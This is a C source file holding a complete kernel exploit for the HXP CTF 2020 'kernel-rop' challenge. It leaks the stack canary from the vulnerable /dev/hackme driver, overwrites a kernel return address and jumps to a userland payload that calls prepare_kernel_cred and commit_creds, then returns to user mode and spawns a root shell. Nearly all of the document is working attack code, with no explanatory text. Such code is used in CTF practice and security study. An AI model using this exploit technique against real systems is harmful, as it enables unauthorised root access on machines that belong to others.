HXP CTF 2020 >> kernel-rop | no SMEP/SMAP; no KPTI; no KASLR

exploit_ret2usr.c

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";
void spawn_shell();

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t user_rip = (uint64_t) spawn_shell;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[!] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
	if(!cookie) {
    	puts("[-] failed to leak stack canary!");
    	exit(-1);
    }
}


void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}


void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}


void privesc() {
    __asm__(".intel_syntax noprefix;"
            "movabs rax, prepare_kernel_cred;"
            "xor rdi, rdi;"
            "call rax;"
            "mov rdi, rax;"
            "movabs rax, commit_creds;"
            "call rax;"
            "swapgs;"
            "mov r15, user_ss;"
            "push r15;"
            "mov r15, user_sp;"
            "push r15;"
            "mov r15, user_rflags;"
            "push r15;"
            "mov r15, user_cs;"
            "push r15;"
            "mov r15, user_rip;"
            "push r15;"
            "iretq;"
            ".att_syntax;");
}


void overwrite_ret() {
    puts("[*] trying to overwrite return address of hacker_write");
    uint8_t sz = 50;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = (uint64_t)privesc; // return address

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    return 0;
}